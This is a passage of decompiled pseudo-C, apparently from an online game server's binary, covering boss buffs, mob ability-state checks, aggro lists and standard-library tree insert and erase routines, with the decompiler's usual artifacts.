v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->maa_MobID < v3->_Myval.maa_MobID ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (0059C870) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal) { return std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (0059C890) -------------------------------------------------------- BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, std::_Tree,std::allocator,0> >::iterator ID) { BossFieldContent::ServentBuffBossTable *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *result; // eax@2 BossFieldContent::ServentBuffBossTable::ServentBossTable *v5; // esi@3 BossFieldContent::ServentBuffBossTable::ServentBossTable key; // [sp+8h] [bp-1Ch]@1 int v7; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; key.sbt_Buffer = *(_WORD *)&ID; std::_Tree_std::allocator_0>>::find( &v2->sbbt_List.baseclass_0, &ID, &key); v3 = v2->sbbt_List.baseclass_0._Myhead; --funcallanalizer.fca_stackpoint; v7 = -1; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)ID == v3 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = 0; } else { v5 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)(*(_DWORD *)&ID + 12); FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = v5; } return result; } //----- (0059C960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this) { void *v1; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *v2; // eax@2 AxialListMobStateSet almss; // [sp+Ch] [bp-24h]@3 int v4; // [sp+2Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_IBuffToBuffee"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick < clockwatch.cw_CurrTick ) { v2 = BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer( &BossFieldContent::g_ServentBuffBossTable, ***((_WORD ***)v1 + 1914)); if ( v2 ) { AxialListMobStateSet::AxialListMobStateSet( &almss, v2->sbt_Buffee, v2->sbt_AbstateIndex, v2->sbt_AbstateStrength, v2->sbt_Dictionary, 6000); LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&almss, 1); LOBYTE(v4) = 0; AxialListMobStateSet::_AxialListMobStateSet(&almss); } } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); } //----- (0059CA60) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid) { int *v2; // edx@1 signed int v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *result; // eax@5 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@6 unsigned int v6; // edi@6 v2 = this->lomscad_IndexList._Myfirst; if ( v2 ) v3 = this->lomscad_IndexList._Mylast - v2; else v3 = 0; if ( mobid < (unsigned int)v3 ) { v5 = this->lomscad_StructList._Myfirst; v6 = this->lomscad_IndexList._Myfirst[mobid]; if ( v5 && v6 < this->lomscad_StructList._Mylast - v5 ) result = &v5[v6]; else result = this->lomscad_StructList._Myfirst; } else { result = this->lomscad_StructList._Myfirst; } return result; } //----- (0059CAC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this) { void *v1; // esi@1 unsigned __int16 **v2; // eax@1 unsigned __int16 *v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *v4; // edi@3 List *v5; // eax@4 char *v6; // [sp-4h] [bp-20h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (unsigned __int16 **)*((_DWORD *)v1 + 1914); *((_DWORD *)v1 + 2271) = 0; if ( v2 && (v3 = *v2) != 0 ) { v4 = BossFieldContent::ListOfMobStateCheckAtDead::operator__(&BossFieldContent::g_ListOfMobStateCheckAtDead, *v3); if ( v4 ) { v5 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList((AbnormalStateContainer::AbstateListInObject *)((char *)v1 + 296)); *((_DWORD *)v1 + 2271) = BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(v4, v5); } v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } else { v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (0059CB90) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, std::_Tree,std::allocator,0> >::iterator mobid, #593 *attacker) { BossFieldContent::MobAutomaticActionList *v3; // esi@1 std::_Tree,std::allocator,0> >::iterator v4; // edi@1 int v5; // esi@3 BossFieldContent::MobAutomaticAction key; // [sp+Ch] [bp-24h]@1 int v7; // [sp+2Ch] [bp-4h]@1 int v8; // [sp+3Ch] [bp+Ch]@0 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; key.maa_MobID = *(_WORD *)&mobid; std::_Tree_std::allocator_0>>::find( &v3->maal_Set.baseclass_0, &mobid, &key); v4 = mobid; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)mobid != v3->maal_Set.baseclass_0._Myhead ) { if ( *(_DWORD *)(*(_DWORD *)&mobid + 16) == 1 ) { v5 = (int)attacker; if ( attacker ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(*(_DWORD *)&mobid + 28) && ShineObjectClass::ShineObject::so_DistanceSquar(v5, v8) < (unsigned int)(*(_DWORD *)(*(_DWORD *)&v4 + 32) * *(_DWORD *)(*(_DWORD *)&v4 + 32)) ) (*(void (__thiscall **)(int, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 1596))( v5, v5, *(_DWORD *)(*(_DWORD *)&v4 + 20), *(_DWORD *)(*(_DWORD *)&v4 + 24), 1); } } } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); } // 59CB90: inconsistent function type and number of purged bytes //----- (0059CCA0) -------------------------------------------------------- signed int __stdcall ShineObjectClass::ShineObject::so_mob_GetAggroList(int enemylist) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetAggroList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_GetAggroList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(enemylist + 4) ) operator delete(*(void **)(enemylist + 4)); *(_DWORD *)(enemylist + 4) = 0; *(_DWORD *)(enemylist + 8) = 0; *(_DWORD *)(enemylist + 12) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetAggroList"); return -1; } //----- (0059CD20) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMob::so_mob_GetAggroList(void *this, int enemylist) { void *v2; // edi@1 void *v3; // eax@1 int v4; // eax@3 int v5; // eax@4 int v6; // esi@4 signed int result; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetAggroList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_GetAggroList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(void **)(enemylist + 4); if ( v3 ) operator delete(v3); *(_DWORD *)(enemylist + 4) = 0; *(_DWORD *)(enemylist + 8) = 0; *(_DWORD *)(enemylist + 12) = 0; v4 = *((_DWORD *)v2 + 2097); if ( v4 ) { v5 = (*(int (__stdcall **)(int))(*(_DWORD *)v4 + 44))(enemylist); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetAggroList"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetAggroList"); result = -1; } return result; } //----- (0059CE10) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Insert(...) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 2) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 28) = 1; *(_BYTE *)(v14 + 28) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 28) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0059CFC0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[6421] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 36) = 1; *(_BYTE *)(v14 + 36) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 36) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0059D170) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0059D1E0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 29) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 29) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 29) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 28); *(_BYTE *)(*(_DWORD *)&v6 + 28) = *(_BYTE *)(*(_DWORD *)&v4 + 28); *(_BYTE *)(*(_DWORD *)&v4 + 28) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 28) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 28) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 28) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 28) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0059D4A0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 37) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 37) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( 